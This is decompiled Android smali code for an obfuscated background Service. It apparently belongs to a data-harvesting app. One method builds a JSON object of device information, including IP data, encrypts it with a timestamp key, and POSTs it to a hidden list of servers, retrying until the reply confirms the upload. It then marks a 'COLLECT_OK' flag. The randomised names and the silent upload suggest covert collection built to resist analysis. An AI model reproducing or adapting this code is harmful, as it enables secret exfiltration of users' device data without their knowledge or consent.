.class public Lcom/XcJeS/hUEfY/mUKGa/hetMv;
.super Landroid/app/Service;


# static fields
.field private static final NIiLj:I = 0x0

.field private static final aPHLu:I = -0x2

.field private static final rLsZQ:I = -0x3

.field private static final yFiiX:I = -0x4


# instance fields
.field private lpOMs:I


# direct methods
.method public constructor <init>()V
    .locals 1

    invoke-direct {p0}, Landroid/app/Service;-><init>()V

    const/4 v0, 0x0

    iput v0, p0, Lcom/XcJeS/hUEfY/mUKGa/hetMv;->lpOMs:I

    return-void
.end method

.method private EQgsH()V
    .locals 0

    invoke-static {p0}, Lcom/XcJeS/hUEfY/mUKGa/hetMv;->lBmbM(Landroid/content/Context;)I

    invoke-virtual {p0}, Lcom/XcJeS/hUEfY/mUKGa/hetMv;->stopSelf()V

    return-void
.end method

.method public static lBmbM(Landroid/content/Context;)I
    .locals 5

    const/4 v4, 0x0

    const/4 v1, -0x2

    const-string v0, "COLLECT_OK"

    const/4 v2, 0x3

    invoke-static {v4}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;

    move-result-object v3

    invoke-static {p0, v0, v2, v3}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/NYGlN;->TJsRH(Landroid/content/Context;Ljava/lang/String;ILjava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/Boolean;

    invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z

    move-result v0

    if-eqz v0, :cond_0

    const/4 v0, -0x4

    :goto_0
    return v0

    :cond_0
    invoke-static {p0}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/xMOcv;->LASWK(Landroid/content/Context;)Z

    move-result v0

    if-nez v0, :cond_1

    move v0, v1

    goto :goto_0

    :cond_1
    :try_start_0
    invoke-static {p0}, Lcom/XcJeS/hUEfY/mUKGa/hetMv;->sACOZ(Landroid/content/Context;)I
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

    move-result v0

    if-eqz v0, :cond_2

    :cond_2
    :goto_1
    if-nez v0, :cond_3

    sget-object v1, Lcom/XcJeS/PviaP/ZqskT/TsSKs/RdnHh;->SKUzm:Ljava/lang/String;

    invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;

    move-result-object v2

    invoke-static {p0, v1, v2}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/NYGlN;->rAipC(Landroid/content/Context;Ljava/lang/String;Ljava/lang/Object;)Z

    goto :goto_0

    :catch_0
    move-exception v0

    const/4 v0, -0x3

    goto :goto_1

    :cond_3
    sget-object v1, Lcom/XcJeS/PviaP/ZqskT/TsSKs/RdnHh;->SKUzm:Ljava/lang/String;

    const/4 v2, 0x1

    invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;

    move-result-object v2

    invoke-static {p0, v1, v2}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/NYGlN;->rAipC(Landroid/content/Context;Ljava/lang/String;Ljava/lang/Object;)Z

    goto :goto_0
.end method

.method public static sACOZ(Landroid/content/Context;)I
    .locals 11

    const/4 v10, 0x1

    const/4 v0, 0x0

    new-instance v4, Lcom/XcJeS/PviaP/ZqskT/TsSKs/hvoDt;

    invoke-direct {v4, p0}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/hvoDt;-><init>(Landroid/content/Context;)V

    new-instance v3, Lorg/json/JSONObject;

    invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V

    const/4 v1, -0x2

    invoke-virtual {v4}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/hvoDt;->PnfMf()V

    const-string v2, "Content-Type"

    const-string v5, "application/octet-stream"

    invoke-virtual {v4, v2, v5}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/hvoDt;->YwQux(Ljava/lang/String;Ljava/lang/String;)V

    const-string v2, "Accept"

    const-string v5, "*/*"

    invoke-virtual {v4, v2, v5}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/hvoDt;->YwQux(Ljava/lang/String;Ljava/lang/String;)V

    :try_start_0
    invoke-static {p0, v3}, Lcom/XcJeS/PviaP/ZqskT/QVcxm/PZgLe;->rnuGn(Landroid/content/Context;Lorg/json/JSONObject;)Lorg/json/JSONObject;
    :try_end_0
    .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1

    :goto_0
    invoke-static {p0}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/DSfUw;->jdxlh(Landroid/content/Context;)Lorg/json/JSONObject;

    move-result-object v2

    if-eqz v2, :cond_0

    :try_start_1
    const-string v5, "ip"

    invoke-virtual {v3, v5, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
    :try_end_1
    .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_2

    :cond_0
    :goto_1
    new-instance v2, Ljava/util/Date;

    invoke-static {}, Ljava/lang/System;->currentTimeMillis()J

    move-result-wide v6

    invoke-direct {v2, v6, v7}, Ljava/util/Date;-><init>(J)V

    invoke-virtual {v2}, Ljava/util/Date;->toString()Ljava/lang/String;

    move-result-object v2

    sget-object v5, Lcom/XcJeS/PviaP/ZqskT/QVcxm/jzkUZ;->hIVuu:Ljava/lang/String;

    invoke-virtual {v4, v5, v2}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/hvoDt;->YwQux(Ljava/lang/String;Ljava/lang/String;)V

    invoke-virtual {v3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;

    move-result-object v3

    invoke-static {v3, v2}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/cEEfw;->UnAbD(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v2

    invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B

    move-result-object v5

    if-eqz v5, :cond_4

    sget-object v6, Lcom/XcJeS/PviaP/ZqskT/QVcxm/jzkUZ;->bnDfe:[Ljava/lang/String;

    array-length v7, v6

    move v3, v0

    :goto_2
    if-ge v3, v7, :cond_4

    aget-object v2, v6, v3

    const-string v8, "POST"

    invoke-virtual {v4, v2, v8, v5}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/hvoDt;->xwtKd(Ljava/lang/String;Ljava/lang/String;[B)Z

    move-result v2

    if-eqz v2, :cond_3

    invoke-virtual {v4}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/hvoDt;->cbQus()[B

    move-result-object v2

    sget-object v8, Lcom/XcJeS/PviaP/ZqskT/QVcxm/jzkUZ;->hIVuu:Ljava/lang/String;

    invoke-virtual {v4, v8}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/hvoDt;->cPEFO(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v8

    new-instance v9, Ljava/lang/String;

    invoke-direct {v9, v2}, Ljava/lang/String;-><init>([B)V

    invoke-static {v9, v8}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/cEEfw;->eYQGH(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v2

    if-eqz v2, :cond_2

    :try_start_2
    new-instance v8, Lorg/json/JSONObject;

    invoke-direct {v8, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V

    const-string v2, "code"

    invoke-virtual {v8, v2}, Lorg/json/JSONObject;->optInt(Ljava/lang/String;)I

    move-result v2

    if-eqz v2, :cond_1

    if-ne v2, v10, :cond_2

    :cond_1
    const-string v2, "COLLECT_OK"

    const/4 v8, 0x1

    invoke-static {v8}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;

    move-result-object v8

    invoke-static {p0, v2, v8}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/NYGlN;->rAipC(Landroid/content/Context;Ljava/lang/String;Ljava/lang/Object;)Z
    :try_end_2
    .catch Lorg/json/JSONException; {:try_start_2 .. :try_end_2} :catch_3

    :goto_3
    return v0

    :catch_0
    move-exception v2

    invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V

    goto :goto_0

    :catch_1
    move-exception v2

    invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V

    goto :goto_0

    :catch_2
    move-exception v2

    invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V

    goto :goto_1

    :catch_3
    move-exception v2

    invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V

    :cond_2
    :goto_4
    add-int/lit8 v2, v3, 0x1

    move v3, v2

    goto :goto_2

    :cond_3
    const-wide/16 v8, 0x7d0

    invoke-static {v8, v9}, Landroid/os/SystemClock;->sleep(J)V

    goto :goto_4

    :cond_4
    move v0, v1

    goto :goto_3
.end method

.method static synthetic yiToZ(Lcom/XcJeS/hUEfY/mUKGa/hetMv;)V
    .locals 0

    invoke-direct {p0}, Lcom/XcJeS/hUEfY/mUKGa/hetMv;->EQgsH()V

    return-void
.end method


# virtual methods
.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
    .locals 1

    const/4 v0, 0x0

    return-object v0
.end method

.method public onCreate()V
    .locals 0

    invoke-super {p0}, Landroid/app/Service;->onCreate()V

    return-void
.end method

.method public onDestroy()V
    .locals 0

    invoke-super {p0}, Landroid/app/Service;->onDestroy()V

    invoke-static {p0}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/xMOcv;->HIPKe(Landroid/content/Context;)V

    return-void
.end method

.method public onStart(Landroid/content/Intent;I)V
    .locals 4

    if-nez p1, :cond_1

    invoke-virtual {p0}, Lcom/XcJeS/hUEfY/mUKGa/hetMv;->stopSelf()V

    :cond_0
    :goto_0
    return-void

    :cond_1
    invoke-static {p0}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/xMOcv;->pkaFE(Landroid/content/Context;)Ljava/lang/String;

    move-result-object v0

    new-instance v1, Lcom/XcJeS/PviaP/ZqskT/cLcoO/CtXFa;

    invoke-direct {v1}, Lcom/XcJeS/PviaP/ZqskT/cLcoO/CtXFa;-><init>()V

    invoke-virtual {v1, p0}, Lcom/XcJeS/PviaP/ZqskT/cLcoO/CtXFa;->WUxzy(Landroid/content/Context;)V

    iget-object v2, v1, Lcom/XcJeS/PviaP/ZqskT/cLcoO/CtXFa;->ZWmhk:Ljava/lang/String;

    iget-object v3, v1, Lcom/XcJeS/PviaP/ZqskT/cLcoO/CtXFa;->TcgLe:Ljava/lang/String;

    iget-object v1, v1, Lcom/XcJeS/PviaP/ZqskT/cLcoO/CtXFa;->PTAZE:Ljava/lang/String;

    invoke-static {v2, v0, v3, v1, p0}, Lcom/XcJeS/PviaP/ZqskT/TsSKs/IHLdy;->OTgdn(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z

    move-result v0

    if-eqz v0, :cond_0

    iget v0, p0, Lcom/XcJeS/hUEfY/mUKGa/hetMv;->lpOMs:I

    if-gtz v0, :cond_0

    iget v0, p0, Lcom/XcJeS/hUEfY/mUKGa/hetMv;->lpOMs:I

    add-int/lit8 v0, v0, 0x1

    iput v0, p0, Lcom/XcJeS/hUEfY/mUKGa/hetMv;->lpOMs:I

    new-instance v0, Lcom/XcJeS/hUEfY/mUKGa/XRqFK;

    invoke-direct {v0, p0}, Lcom/XcJeS/hUEfY/mUKGa/XRqFK;-><init>(Lcom/XcJeS/hUEfY/mUKGa/hetMv;)V

    invoke-virtual {v0}, Lcom/XcJeS/hUEfY/mUKGa/XRqFK;->start()V

    goto :goto_0
.end method
